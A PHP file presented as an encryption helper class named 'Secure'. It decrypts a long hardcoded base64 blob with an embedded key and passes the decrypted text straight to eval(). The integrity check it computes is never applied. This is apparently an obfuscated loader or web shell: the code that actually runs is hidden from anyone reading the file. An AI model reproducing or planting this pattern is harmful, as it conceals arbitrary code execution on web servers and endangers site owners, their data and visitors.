< ? php class Secure { private $masterKey; private $iterations = 10000; private $cipher = "aes-256-cbc"; private $hmacAlgo = "sha256"; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, $this->hmacLength()); $ciphertext = substr($data, $this->saltLength + $ivLength + $this->hmacLength()); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac( $this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys["hmac"], true ); $decrypted = openssl_decrypt( $ciphertext, $this->cipher, $derivedKeys["encryption"], OPENSSL_RAW_DATA, $iv ); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ "encryption" => substr($keyMaterial, 0, 32), "hmac" => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } private function hmacLength() { return 32; } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure("3Etrksi87rde3hd8s819Poe0o39sqKjl9"); $str = "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"; $decrypted = $secure->decrypt($str); eval($decrypted);